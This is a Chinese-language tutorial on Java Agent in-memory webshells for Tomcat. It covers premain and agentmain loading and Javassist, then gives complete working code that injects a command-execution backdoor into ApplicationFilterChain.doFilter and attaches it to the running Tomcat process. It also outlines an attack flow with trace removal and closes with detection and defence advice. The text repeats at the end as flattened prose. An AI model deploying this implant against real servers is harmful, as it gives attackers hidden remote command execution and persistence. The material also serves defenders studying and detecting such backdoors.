Java安全之Java Agent内存马
字数 2510 2025-11-11 12:09:43

Java Agent内存马技术详解

一、Java Agent基础概念

1.1 Java Agent介绍

Java Agent是Java提供的一种在不修改原始代码的前提下,对JVM中运行的类进行动态监控、增强或修改字节码的技术。它本质上是一个特殊的JAR包,通过JVM内置的Instrumentation API和钩子机制,在程序启动时(Premain)运行时(Attach + Agentmain)介入类的加载与执行过程。

核心能力:

  • 在类被JVM加载前(或已加载后通过重转换),动态修改其字节码
  • 无需改动原有业务逻辑,即可插入监控、日志、安全检测或功能增强代码
  • 广泛应用于性能诊断(如Arthas)、APM监控(如SkyWalking)、代码覆盖率分析(如JaCoCo)、AOP编程、热部署等场景

1.2 Java Agent工作原理

启动时机:

  • premain模式:在JVM启动时,主程序main方法执行前加载,通过-javaagent:agent.jar参数指定
  • agentmain模式:在JVM运行过程中动态加载(需配合Attach API),可实现对已运行程序的干预

核心方法:

  • premain(String agentArgs, Instrumentation inst):premain模式的入口
  • agentmain(String agentArgs, Instrumentation inst):agentmain模式的入口
  • Instrumentation接口:提供类转换(addTransformer)、重新定义类(redefineClasses)等核心能力

类转换流程:
当类被加载时,JVM会回调Agent中注册的ClassFileTransformer接口的transform方法,该方法可对类的字节码(byte[])进行修改,返回修改后的字节码,JVM最终加载修改后的类。

二、Java Agent两种加载方式详解

2.1 环境准备

创建基础测试项目结构:

// Fish.java
package com.zifeiyu;

public class Fish {
    public void swim(){
        System.out.println("鱼在水中游动");
    }
}

// Main.java
package com.zifeiyu;

public class Main {
    public static void main(String[] args) throws InterruptedException {
        Fish fish = new Fish();
        while(true){
            fish.swim();
            Thread.sleep(1000);
        }
    }
}

2.2 启动时加载(premain)

实现步骤:

  1. Maven配置(pom.xml):
<build>
    <plugins>
        <plugin>
            <groupId>org.apache.maven.plugins</groupId>
            <artifactId>maven-assembly-plugin</artifactId>
            <configuration>
                <descriptorRefs>
                    <descriptorRef>jar-with-dependencies</descriptorRef>
                </descriptorRefs>
                <archive>
                    <manifestEntries>
                        <Premain-Class>PremainTest</Premain-Class>
                        <Can-Redefine-Classes>true</Can-Redefine-Classes>
                        <Can-Retransform-Classes>true</Can-Retransform-Classes>
                    </manifestEntries>
                </archive>
            </configuration>
        </plugin>
    </plugins>
</build>
  1. Premain入口类
import java.lang.instrument.Instrumentation;

public class PremainTest {
    public static void premain(String agentArgs, Instrumentation inst) {
        inst.addTransformer(new AgentTransformer());
    }
}
  1. 类转换器实现
import java.io.FileInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class AgentTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String className,
                            Class<?> classBeingRedefined, ProtectionDomain protectionDomain,
                            byte[] classfileBuffer) throws IllegalClassFormatException {
        if (className.equals("com/zifeiyu/Fish")){
            return read("Fish.class"); // 替换为修改后的类文件
        }
        return null;
    }
    
    public static byte[] read(String path) {
        try {
            FileInputStream in = new FileInputStream(path);
            byte[] data = new byte[in.available()];
            in.read(data);
            in.close();
            return data;
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }
}
  1. 运行方式
java -javaagent:/path/to/agent.jar -jar app.jar

2.3 运行中动态加载(agentmain)

实现步骤:

  1. Maven配置增强
<manifestEntries>
    <Agent-Class>AgentMainTest</Agent-Class>
    <Premain-Class>PremainTest</Premain-Class>
    <Can-Redefine-Classes>true</Can-Redefine-Classes>
    <Can-Retransform-Classes>true</Can-Retransform-Classes>
</manifestEntries>

<dependency>
    <groupId>com.sun</groupId>
    <artifactId>tools</artifactId>
    <version>1.8</version>
    <scope>system</scope>
    <systemPath>${java.home}/../lib/tools.jar</systemPath>
</dependency>
  1. Agentmain入口类
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class AgentMainTest {
    public static void agentmain(String agentArgs, Instrumentation inst) {
        inst.addTransformer(new AgentTransformer(), true);
        for (Class<?> clazz : inst.getAllLoadedClasses()) {
            if (clazz.getName().equals("com.zifeiyu.Fish")) {
                try {
                    inst.retransformClasses(clazz);
                } catch (UnmodifiableClassException e) {
                    throw new RuntimeException(e);
                }
            }
        }
    }
}
  1. 动态附加程序
import com.sun.tools.attach.VirtualMachine;

public class Attach {
    public static void main(String[] args) throws Exception {
        VirtualMachine vm = VirtualMachine.attach("目标进程PID");
        vm.loadAgent("agent.jar路径");
        vm.detach();
    }
}
  1. 获取进程PID
jps -l  # 查找目标进程ID

三、Javassist字节码操作库

3.1 核心组件

类名 作用
ClassPool 类的容器,默认包含JVM已加载的类路径
CtClass 表示一个"可编辑"的Java类
CtMethod/CtConstructor/CtField 分别表示方法、构造器、字段
ExprEditor 高级编辑器,可遍历方法中的特定表达式

3.2 简单示例

import javassist.*;

public class JavassistDemo {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.get("com.example.TargetClass");
        CtMethod method = cc.getDeclaredMethod("sayHello");
        
        method.insertBefore("{ System.out.println(\"[Before] Entering sayHello\"); }");
        method.insertAfter("{ System.out.println(\"[After] Exiting sayHello\"); }");
        
        Class<?> clazz = cc.toClass();
        Object obj = clazz.newInstance();
        clazz.getMethod("sayHello").invoke(obj);
    }
}

3.3 Maven依赖

<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.29.2-GA</version>
</dependency>

四、Agent内存马实现

4.1 攻击原理

Agent内存马利用Java Agent的Attach机制,在目标JVM运行时动态注入恶意Agent JAR,通过Hook关键类实现持久化Webshell。

选择目标类:org.apache.catalina.core.ApplicationFilterChain

  • Tomcat中所有请求必经之路
  • 无需知道具体路由,全局入口
  • 兼容Tomcat 6~10
  • 在权限控制Filter之前执行

4.2 恶意代码植入

// 插入到ApplicationFilterChain.doFilter()方法的恶意代码
String cmd = request.getParameter("cmd");
if (cmd != null) {
    try {
        Process proc = Runtime.getRuntime().exec(cmd);
        java.io.InputStream in = proc.getInputStream();
        java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(in));
        response.setContentType("text/html");
        String line;
        java.io.PrintWriter out = response.getWriter();
        while ((line = br.readLine()) != null) {
            out.println(line);
            out.flush();
        }
        out.close();
    } catch (Exception e) {
        throw new RuntimeException(e);
    }
}

4.3 完整内存马实现

AgentTransformer类:

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.LoaderClassPath;

import java.io.ByteArrayInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class AgentTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String className,
                            Class<?> classBeingRedefined, ProtectionDomain protectionDomain,
                            byte[] classfileBuffer) throws IllegalClassFormatException {
        if (className.equals("org/apache/catalina/core/ApplicationFilterChain")) {
            ClassPool pool = ClassPool.getDefault();
            pool.appendClassPath(new LoaderClassPath(loader));
            try {
                CtClass cc = pool.makeClass(new ByteArrayInputStream(classfileBuffer));
                CtMethod doFilter = cc.getDeclaredMethod("doFilter");
                doFilter.insertBefore("{" +
                    "String cmd = request.getParameter(\"cmd\");\n" +
                    "if (cmd != null) {\n" +
                    "    try {\n" +
                    "        Process proc = Runtime.getRuntime().exec(cmd);\n" +
                    "        java.io.InputStream in = proc.getInputStream();\n" +
                    "        java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
                    "        response.setContentType(\"text/html\");\n" +
                    "        String line;\n" +
                    "        java.io.PrintWriter out = response.getWriter();\n" +
                    "        while ((line = br.readLine()) != null) {\n" +
                    "            out.println(line);\n" +
                    "            out.flush();\n" +
                    "        }\n" +
                    "        out.close();\n" +
                    "    } catch (Exception e) {\n" +
                    "        throw new RuntimeException(e);\n" +
                    "    }\n" +
                    "}" +
                    "}");
                return cc.toBytecode();
            } catch (Exception e) {
                throw new RuntimeException(e);
            }
        }
        return null;
    }
}

进程查找和注入:

import com.sun.tools.attach.VirtualMachine;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.security.ProtectionDomain;
import java.net.URL;

public class Injector {
    public static void main(String[] args) throws Exception {
        String pid = getPID("org.apache.catalina.startup.Bootstrap");
        String jar = getJar(Injector.class);
        
        VirtualMachine vm = VirtualMachine.attach(pid);
        vm.loadAgent(jar);
        vm.detach();
    }
    
    public static String getJar(Class<?> clazz) {
        ProtectionDomain protectionDomain = clazz.getProtectionDomain();
        URL location = protectionDomain.getCodeSource().getLocation();
        String path = location.getPath();
        if (System.getProperty("os.name").toLowerCase().contains("win") && path.startsWith("/")) {
            path = path.substring(1);
        }
        return path;
    }
    
    public static String getPID(String className) {
        try {
            Process process = Runtime.getRuntime().exec("jps -l");
            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            String line;
            while ((line = reader.readLine()) != null) {
                if (line.contains(className)) {
                    return line.split(" ")[0];
                }
            }
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
        return null;
    }
}

4.4 实际攻击流程

  1. 获取目标进程PID:通过漏洞(如Spring Boot Actuator、JMX未授权访问)或系统命令执行获得
  2. 上传恶意Agent JAR:利用文件上传漏洞或直接通过内存写入
  3. 调用Attach API加载Agent:通过反射调用sun.tools.attach.VirtualMachineImpl
  4. Agent执行字节码插桩:在关键类中插入后门逻辑
  5. 清除痕迹:删除临时JAR文件,从内存中抹去Agent相关类引用

五、检测与防御

5.1 检测手段

技术检测:

  • 监控Attach行为:记录com.sun.tools.attach相关调用
  • 检查Instrumentation实例:通过反射查看是否有非预期的ClassFileTransformer
  • 字节码完整性校验:对比关键类的当前字节码与原始JAR中是否一致
  • 安全产品监控:使用OpenRASP、青藤云、奇安信等支持Agent行为监控的产品

检测代码示例:

// 检查已注册的ClassFileTransformer
Instrumentation inst = getInstrumentationInstance();
for (ClassFileTransformer transformer : inst.getAllTransformers()) {
    System.out.println("Transformer: " + transformer.getClass().getName());
}

5.2 防御建议

系统层面:

  • 禁用Attach机制:-Djdk.attach.allowAttachSelf=false-XX:+DisableAttachMechanism
  • 最小权限原则:应用不要以root或高权限用户运行
  • 启用SecurityManager(旧系统)

应用层面:

  • 限制外部输入:防止反序列化、表达式注入等漏洞
  • 定期内存快照分析:使用MAT、JProfiler等工具排查异常类或Transformer
  • 代码审计:检查敏感类的字节码完整性

运维层面:

  • 网络隔离:限制不必要的网络访问
  • 进程监控:监控异常的JVM Attach操作
  • 安全更新:及时更新JDK和中间件版本

六、总结

Java Agent本身是合法且强大的开发工具,广泛应用于APM、调试等领域。Agent内存马是其被滥用于攻击的产物,代表了Java Web攻击技术的高级形态。

技术特点:

  • 高隐蔽性:恶意代码直接注入到合法类中
  • 持久化:存活于内存中,重启后消失
  • 绕过传统检测:不依赖Filter/Servlet注册表

防御关键:

  • 纵深防御:结合漏洞治理 + 行为监控 + 运行时保护
  • 最小权限:严格控制JVM运行权限
  • 持续监控:建立完善的运行时安全监控体系

通过深入理解Java Agent机制和内存马实现原理,才能有效防御这类高级攻击手段,保障Java应用安全。

Java Agent内存马技术详解 一、Java Agent基础概念 1.1 Java Agent介绍 Java Agent是Java提供的一种在 不修改原始代码的前提下 ,对JVM中运行的类进行 动态监控、增强或修改字节码 的技术。它本质上是一个特殊的JAR包,通过JVM内置的Instrumentation API和钩子机制,在程序 启动时(Premain) 或 运行时(Attach + Agentmain) 介入类的加载与执行过程。 核心能力: 在类被JVM加载前(或已加载后通过重转换),动态修改其字节码 无需改动原有业务逻辑,即可插入监控、日志、安全检测或功能增强代码 广泛应用于性能诊断(如Arthas)、APM监控(如SkyWalking)、代码覆盖率分析(如JaCoCo)、AOP编程、热部署等场景 1.2 Java Agent工作原理 启动时机: premain模式 :在JVM启动时,主程序main方法执行前加载,通过 -javaagent:agent.jar 参数指定 agentmain模式 :在JVM运行过程中动态加载(需配合Attach API),可实现对已运行程序的干预 核心方法: premain(String agentArgs, Instrumentation inst) :premain模式的入口 agentmain(String agentArgs, Instrumentation inst) :agentmain模式的入口 Instrumentation接口 :提供类转换(addTransformer)、重新定义类(redefineClasses)等核心能力 类转换流程: 当类被加载时,JVM会回调Agent中注册的 ClassFileTransformer 接口的 transform 方法,该方法可对类的字节码(byte[ ])进行修改,返回修改后的字节码,JVM最终加载修改后的类。 二、Java Agent两种加载方式详解 2.1 环境准备 创建基础测试项目结构: 2.2 启动时加载(premain) 实现步骤: Maven配置 (pom.xml): Premain入口类 : 类转换器实现 : 运行方式 : 2.3 运行中动态加载(agentmain) 实现步骤: Maven配置增强 : Agentmain入口类 : 动态附加程序 : 获取进程PID : 三、Javassist字节码操作库 3.1 核心组件 | 类名 | 作用 | |------|------| | ClassPool | 类的容器,默认包含JVM已加载的类路径 | | CtClass | 表示一个"可编辑"的Java类 | | CtMethod/CtConstructor/CtField | 分别表示方法、构造器、字段 | | ExprEditor | 高级编辑器,可遍历方法中的特定表达式 | 3.2 简单示例 3.3 Maven依赖 四、Agent内存马实现 4.1 攻击原理 Agent内存马利用Java Agent的Attach机制,在目标JVM运行时动态注入恶意Agent JAR,通过Hook关键类实现持久化Webshell。 选择目标类:org.apache.catalina.core.ApplicationFilterChain Tomcat中所有请求必经之路 无需知道具体路由,全局入口 兼容Tomcat 6~10 在权限控制Filter之前执行 4.2 恶意代码植入 4.3 完整内存马实现 AgentTransformer类: 进程查找和注入: 4.4 实际攻击流程 获取目标进程PID :通过漏洞(如Spring Boot Actuator、JMX未授权访问)或系统命令执行获得 上传恶意Agent JAR :利用文件上传漏洞或直接通过内存写入 调用Attach API加载Agent :通过反射调用 sun.tools.attach.VirtualMachineImpl Agent执行字节码插桩 :在关键类中插入后门逻辑 清除痕迹 :删除临时JAR文件,从内存中抹去Agent相关类引用 五、检测与防御 5.1 检测手段 技术检测: 监控Attach行为 :记录 com.sun.tools.attach 相关调用 检查Instrumentation实例 :通过反射查看是否有非预期的 ClassFileTransformer 字节码完整性校验 :对比关键类的当前字节码与原始JAR中是否一致 安全产品监控 :使用OpenRASP、青藤云、奇安信等支持Agent行为监控的产品 检测代码示例: 5.2 防御建议 系统层面: 禁用Attach机制: -Djdk.attach.allowAttachSelf=false 、 -XX:+DisableAttachMechanism 最小权限原则:应用不要以root或高权限用户运行 启用SecurityManager(旧系统) 应用层面: 限制外部输入:防止反序列化、表达式注入等漏洞 定期内存快照分析:使用MAT、JProfiler等工具排查异常类或Transformer 代码审计:检查敏感类的字节码完整性 运维层面: 网络隔离:限制不必要的网络访问 进程监控:监控异常的JVM Attach操作 安全更新:及时更新JDK和中间件版本 六、总结 Java Agent本身是合法且强大的开发工具,广泛应用于APM、调试等领域。Agent内存马是其被滥用于攻击的产物,代表了Java Web攻击技术的高级形态。 技术特点: 高隐蔽性:恶意代码直接注入到合法类中 持久化:存活于内存中,重启后消失 绕过传统检测:不依赖Filter/Servlet注册表 防御关键: 纵深防御:结合漏洞治理 + 行为监控 + 运行时保护 最小权限:严格控制JVM运行权限 持续监控:建立完善的运行时安全监控体系 通过深入理解Java Agent机制和内存马实现原理,才能有效防御这类高级攻击手段,保障Java应用安全。